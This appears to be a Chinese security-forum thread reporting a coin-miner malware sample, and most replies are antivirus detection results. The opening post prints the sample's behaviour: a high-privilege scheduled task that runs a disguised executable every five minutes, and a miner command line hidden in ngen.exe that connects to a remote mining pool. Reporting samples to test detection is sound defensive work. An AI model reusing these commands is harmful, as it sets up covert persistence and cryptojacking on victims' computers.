#CoinMiner

显示全部楼层 · 发表于 2023-12-4 16:04:35

本帖最后由 t0kenzero 于 2023-12-4 16:07 编辑

先上VT(19/72 )
有计划任务写入

schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "CUTE" /tr "C:\ProgramData\Mircosolt\CUTE.exe"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=185.172.128.11:3333 -u TESTTEST -p NEWPROXY -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl

复制代码

显示全部楼层 · 发表于 2023-12-4 16:05:41

显示全部楼层 · 发表于 2023-12-4 16:08:04

显示全部楼层 · 发表于 2023-12-4 16:08:28

360miss

显示全部楼层 · 发表于 2023-12-4 16:33:12

火绒
扫描：特征 1X

发现风险：1
已处理风险：0
病毒详情：
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\1442c7c7c1ac8bba1b82399c4e53d9614173d2286981e4ebce152892fd073892.exe, 病毒名：Trojan/MSIL.Injector.me, 病毒ID：684b9dd1efed5413, 处理结果：暂不处理

复制代码

X-Sec
扫描：MISS

华为乾坤
扫描：MISS

显示全部楼层 · 发表于 2023-12-4 16:41:57

SEP
AdvML.B

显示全部楼层 · 发表于 2023-12-4 16:42:06

EIS kill

显示全部楼层 · 发表于 2023-12-4 16:49:03

显示全部楼层 · 发表于 2023-12-4 17:18:48

HEUR/APC.AVAHC

显示全部楼层 · 发表于 2023-12-4 17:23:02

安天 Miss

[病毒样本] #CoinMiner